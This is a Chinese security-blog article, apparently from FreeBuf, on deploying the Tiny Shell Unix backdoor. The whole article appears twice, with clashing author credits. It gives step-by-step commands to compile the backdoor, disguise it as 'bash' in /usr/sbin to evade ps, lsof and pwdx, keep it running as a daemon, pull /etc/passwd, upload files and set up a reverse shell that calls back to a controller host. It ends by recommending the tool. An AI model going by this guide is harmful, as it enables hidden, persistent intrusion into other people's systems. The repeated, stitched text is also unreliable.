短小精干的Unix类后门Tiny shell的使用与分析

摘要

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00. 简介

Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)

短小精干的Unix类后门Tiny shell的使用与分析

分为客户端和服务端,支持正向连接模式(即服务端在远程运行,hacker远程直接链接),和反弹连接模式(hacker在自己服务器监听,服务端链接hacker监听端口)

功能:

通信加密

支持上传、下载、直接反弹shell

下载地址:https://github.com/orangetw/tsh

具体使用与分析见下文

0×01. 使用与分析

源码很少,非常精简

短小精干的Unix类后门Tiny shell的使用与分析

一、正向连接模式使用与分析

I、编译前,你需要做以下设置

1. 修改tsh.h中的secret的值

secret 的值用于加密 控制端和被控端之间通信的数据

和后门的所有的通信信息都会被AES加密

短小精干的Unix类后门Tiny shell的使用与分析

编译之后,客户端和服务端都会硬编码这个secret,用于解密数据

2. 修改tsh.h中的SERVER_PORT值

SERVER_PORT是后门运行后监听的端口

3. 修改tsh.h中的FAKE_PROC_NAME值

FAKE_PROC_NAME 是用于伪装显示后门运行后的进程名字,比如这里设置为/bin/bash, 那么后门运行后,用ps -ef 或者netstat 查看,则显示的执行程序是/bin/bash ,如下图所示

短小精干的Unix类后门Tiny shell的使用与分析

4. 注释掉 如下两行代码

//#define CONNECT_BACK_HOST  "10.1.100.3"

//#define CONNECT_BACK_DELAY 30

这两行注用于设置反弹链接模式,下面再介绍

修改好后的示例如下:

短小精干的Unix类后门Tiny shell的使用与分析

编译

make linux

make 后面跟的是系统类别,这里以linux为例

短小精干的Unix类后门Tiny shell的使用与分析

编译成功后,tsh为客户端,tshd为服务端

II、运行前的工作

1. 执行以下命令

umask 077; HOME=/var/tmp 

umask设置是为了运行后的后门shell环境而设置,后门shell所有创建的文件只有后门shell进程属主有权限,其他都没权限

2. 修改tshd 为你要伪装显示的进程名字

这里修改成bash

mv tshd bash

如果不修改的话,直接运行后门进程,则使用lsof -i:8080 查看, COMMAND不会显示为tsh.h设置的伪装的进程名字

短小精干的Unix类后门Tiny shell的使用与分析

所以这里要修改一下可执行文件名字

然后再运行一下,执行lsof -i:8080 发现COMMAND变成了bash,这样迷惑性会更大一些

短小精干的Unix类后门Tiny shell的使用与分析

3. 将后门文件移动至 /usr/sbin (当然也可移动到其他隐秘的地方,这里以/usr/sbin举例)

如果想要更加具有欺骗性的话,则需要把后门文件移动至/usr/sbin (系统自带的bash位于/bin/bash 和 /usr/bin/bash)

如果不移动的话,使用pwdx 进程ID 可以查看到后门进程所在的执行目录

短小精干的Unix类后门Tiny shell的使用与分析

移动到/usr/sbin之后,再运行,然后用pwdx 查看

短小精干的Unix类后门Tiny shell的使用与分析

显示在/usr/sbin, 欺骗性增加一些

III、运行使用

1. 直接获取被控端shell

服务端运行 (被控端. IP: 10.1.100.3, kali系统)

/usr/sbin/bash

 注: 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中)

短小精干的Unix类后门Tiny shell的使用与分析

客户端(控制端 10.1.100.2)

./tsh 10.1.100.3 

但是执行之后,没反应,并没有返回远端的shell,奇怪,我未将tshd移动到/usr/sbin下保存为bash 是没事的,一切OK,测试正常,但是将tshd移动到/usr/sbin/bash 之后,客户端就链接不上,我决定查查代码, 查了一会儿,在tsh.c的236行找到了问题的原因

短小精干的Unix类后门Tiny shell的使用与分析

这里直接调用系统命令bash,而被控端的环境变量PATH值为:

/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/apache-ant-1.10.1/bin:/usr/local/gradle/bin

/usr/sbin 先于 /usr/bin/bash 和/bin/bash找到bash命令 ,于是我们知道我们执行了假的bash(就是我们自己的后门程序),所以这里解决办法就是修改源码,显示指定要执行命令的路径

短小精干的Unix类后门Tiny shell的使用与分析

重新编译执行,然后客户端再次连接

./tsh 10.1.100.3 

短小精干的Unix类后门Tiny shell的使用与分析

成功,OK

2. 下载文件

除了可以直接连接上去外,这个后门还可以下载和上传文件

下载远程的/etc/passwd文件到当前目录

./tsh 10.1.100.3 get /etc/passwd .

短小精干的Unix类后门Tiny shell的使用与分析

3. 上传文件到远程被控端

上传

./tsh 10.1.100.3 put stop_fw.sh /tmp

短小精干的Unix类后门Tiny shell的使用与分析

远程查看上传成功

短小精干的Unix类后门Tiny shell的使用与分析

二、反向连接模式使用与分析

反向链接适用于被控制端位于防火墙后面,不允许外面直接连接,这就需要被控端从里从外主动连接

编译前的准备工作和 编译正向连接模式类似,不过 需要将如下两行去掉注释,即去掉//

#define CONNECT_BACK_HOST  "10.1.100.3"

#define CONNECT_BACK_DELAY 30

CONNECT_BACK_HOST 表示反向连接的主机(就是被控端主动要连接的控制端的IP)这里设置反向连接的主机是10.1.100.3  (kali 这里变成了控制端了)

CONNECT_BACK_DELAY 表示隔多久尝试连接控制端一次 (被控端会一直不断循环,尝试连接控制端, 见下图代码,while 死循环)

短小精干的Unix类后门Tiny shell的使用与分析

位于被控端的后门运行之后,会一直尝试连接控制端 (下图为实际抓包)

短小精干的Unix类后门Tiny shell的使用与分析

1、编译

make linux

2、在控制端执行监听

./tsh cb

cb 表示反向监听模式

短小精干的Unix类后门Tiny shell的使用与分析

*本文原创作者:fnpimr43017,本文属FreeBuf原创奖励计划,未经许可禁止转载

将tshd 上传到被控端,重命名为bash,移动至/usr/sbin/bash 

3、被控端执行后门 (10.1.100.2 )

/usr/sbin/bash 

查看后门进程信息

短小精干的Unix类后门Tiny shell的使用与分析

被控端进程也是守护进程,PID为3082

大约30秒后(这个等待时间可在编译时设置,见上文),被控端shell就反弹到了控制端

短小精干的Unix类后门Tiny shell的使用与分析

然后此时查看被控端相关和后门相关进程信息:

短小精干的Unix类后门Tiny shell的使用与分析

其中 -bash 是真实的bash进程

这里的PID为3082、3147都是后门守护进程,伪装成了’/bin/bash’, PID为3148的进程是后门守护进程执行系统命令exec /bin/bash –login 反弹出来的shell进程

解释一下反弹shell之后,这里为什么会又出现一个守护进程(也就是pid为3147的进程)

回到最开始

执行后门 /usr/sbin/bash 

执行之后,主进程会fork一个子进程(上面已经提到),父进程退出,这样fork出来的子进程就会成为孤儿进程被init托管(也就是pid为3048的进程)

当PID 为3048的这个进程成功连接上控制端监听的端口之后,则又fork一个进程用(姑且称之为子进程2)于处理建立好的连接(tshd.c代码 211行开始)

短小精干的Unix类后门Tiny shell的使用与分析

子进程2 又会新fork一个子进程(称之为子进程3),然后子进程2退出,子进程3成为孤儿进程,被init托管,成为守护进程,子进程3是真正用户处理连接后的交互

0×02. 总结

总的来说,Tiny shell 是一款非常不错的后门,体积小,功能够用,而且通信加密,源码也不是很复杂,大家有空可自行研究。

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00. 简介

Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)

分为客户端和服务端,支持正向连接模式(即服务端在远程运行,hacker远程直接链接),和反弹连接模式(hacker在自己服务器监听,服务端链接hacker监听端口)

功能:

通信加密

支持上传、下载、直接反弹shell

下载地址:https://github.com/orangetw/tsh

具体使用与分析见下文

0×01. 使用与分析

源码很少,非常精简

一、正向连接模式使用与分析

I、编译前,你需要做以下设置

1. 修改tsh.h中的secret的值

secret 的值用于加密 控制端和被控端之间通信的数据

和后门的所有的通信信息都会被AES加密

编译之后,客户端和服务端都会硬编码这个secret,用于解密数据

2. 修改tsh.h中的SERVER_PORT值

SERVER_PORT是后门运行后监听的端口

3. 修改tsh.h中的FAKE_PROC_NAME值

FAKE_PROC_NAME 是用于伪装显示后门运行后的进程名字,比如这里设置为/bin/bash, 那么后门运行后,用ps -ef 或者netstat 查看,则显示的执行程序是/bin/bash ,如下图所示

4. 注释掉 如下两行代码

//#define CONNECT_BACK_HOST  "10.1.100.3"

//#define CONNECT_BACK_DELAY 30

这两行注用于设置反弹链接模式,下面再介绍

修改好后的示例如下:

编译

make linux

make 后面跟的是系统类别,这里以linux为例

编译成功后,tsh为客户端,tshd为服务端

II、运行前的工作

1. 执行以下命令

umask 077; HOME=/var/tmp 

umask设置是为了运行后的后门shell环境而设置,后门shell所有创建的文件只有后门shell进程属主有权限,其他都没权限

2. 修改tshd 为你要伪装显示的进程名字

这里修改成bash

mv tshd bash

如果不修改的话,直接运行后门进程,则使用lsof -i:8080 查看, COMMAND不会显示为tsh.h设置的伪装的进程名字

所以这里要修改一下可执行文件名字

然后再运行一下,执行lsof -i:8080 发现COMMAND变成了bash,这样迷惑性会更大一些

3. 将后门文件移动至 /usr/sbin (当然也可移动到其他隐秘的地方,这里以/usr/sbin举例)

如果想要更加具有欺骗性的话,则需要把后门文件移动至/usr/sbin (系统自带的bash位于/bin/bash 和 /usr/bin/bash)

如果不移动的话,使用pwdx 进程ID 可以查看到后门进程所在的执行目录

移动到/usr/sbin之后,再运行,然后用pwdx 查看

显示在/usr/sbin, 欺骗性增加一些

III、运行使用

1. 直接获取被控端shell

服务端运行 (被控端. IP: 10.1.100.3, kali系统)

/usr/sbin/bash

 注: 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中)

客户端(控制端 10.1.100.2)

./tsh 10.1.100.3 

但是执行之后,没反应,并没有返回远端的shell,奇怪,我未将tshd移动到/usr/sbin下保存为bash 是没事的,一切OK,测试正常,但是将tshd移动到/usr/sbin/bash 之后,客户端就链接不上,我决定查查代码, 查了一会儿,在tsh.c的236行找到了问题的原因

这里直接调用系统命令bash,而被控端的环境变量PATH值为:

/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/apache-ant-1.10.1/bin:/usr/local/gradle/bin

/usr/sbin 先于 /usr/bin/bash 和/bin/bash找到bash命令 ,于是我们知道我们执行了假的bash(就是我们自己的后门程序),所以这里解决办法就是修改源码,显示指定要执行命令的路径

重新编译执行,然后客户端再次连接

./tsh 10.1.100.3 

成功,OK

2. 下载文件

除了可以直接连接上去外,这个后门还可以下载和上传文件

下载远程的/etc/passwd文件到当前目录

./tsh 10.1.100.3 get /etc/passwd .

3. 上传文件到远程被控端

上传

./tsh 10.1.100.3 put stop_fw.sh /tmp

远程查看上传成功

二、反向连接模式使用与分析

反向链接适用于被控制端位于防火墙后面,不允许外面直接连接,这就需要被控端从里从外主动连接

编译前的准备工作和 编译正向连接模式类似,不过 需要将如下两行去掉注释,即去掉//

#define CONNECT_BACK_HOST  "10.1.100.3"

#define CONNECT_BACK_DELAY 30

CONNECT_BACK_HOST 表示反向连接的主机(就是被控端主动要连接的控制端的IP)这里设置反向连接的主机是10.1.100.3  (kali 这里变成了控制端了)

CONNECT_BACK_DELAY 表示隔多久尝试连接控制端一次 (被控端会一直不断循环,尝试连接控制端, 见下图代码,while 死循环)

位于被控端的后门运行之后,会一直尝试连接控制端 (下图为实际抓包)

1、编译

make linux

2、在控制端执行监听

./tsh cb

cb 表示反向监听模式

*本文原创作者:fnpimr43017,本文属FreeBuf原创奖励计划,未经许可禁止转载

将tshd 上传到被控端,重命名为bash,移动至/usr/sbin/bash 

3、被控端执行后门 (10.1.100.2 )

/usr/sbin/bash 

查看后门进程信息

被控端进程也是守护进程,PID为3082

大约30秒后(这个等待时间可在编译时设置,见上文),被控端shell就反弹到了控制端

然后此时查看被控端相关和后门相关进程信息:

其中 -bash 是真实的bash进程

这里的PID为3082、3147都是后门守护进程,伪装成了’/bin/bash’, PID为3148的进程是后门守护进程执行系统命令exec /bin/bash –login 反弹出来的shell进程

解释一下反弹shell之后,这里为什么会又出现一个守护进程(也就是pid为3147的进程)

回到最开始

执行后门 /usr/sbin/bash 

执行之后,主进程会fork一个子进程(上面已经提到),父进程退出,这样fork出来的子进程就会成为孤儿进程被init托管(也就是pid为3048的进程)

当PID 为3048的这个进程成功连接上控制端监听的端口之后,则又fork一个进程用(姑且称之为子进程2)于处理建立好的连接(tshd.c代码 211行开始)

子进程2 又会新fork一个子进程(称之为子进程3),然后子进程2退出,子进程3成为孤儿进程,被init托管,成为守护进程,子进程3是真正用户处理连接后的交互

0×02. 总结

总的来说,Tiny shell 是一款非常不错的后门,体积小,功能够用,而且通信加密,源码也不是很复杂,大家有空可自行研究。

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: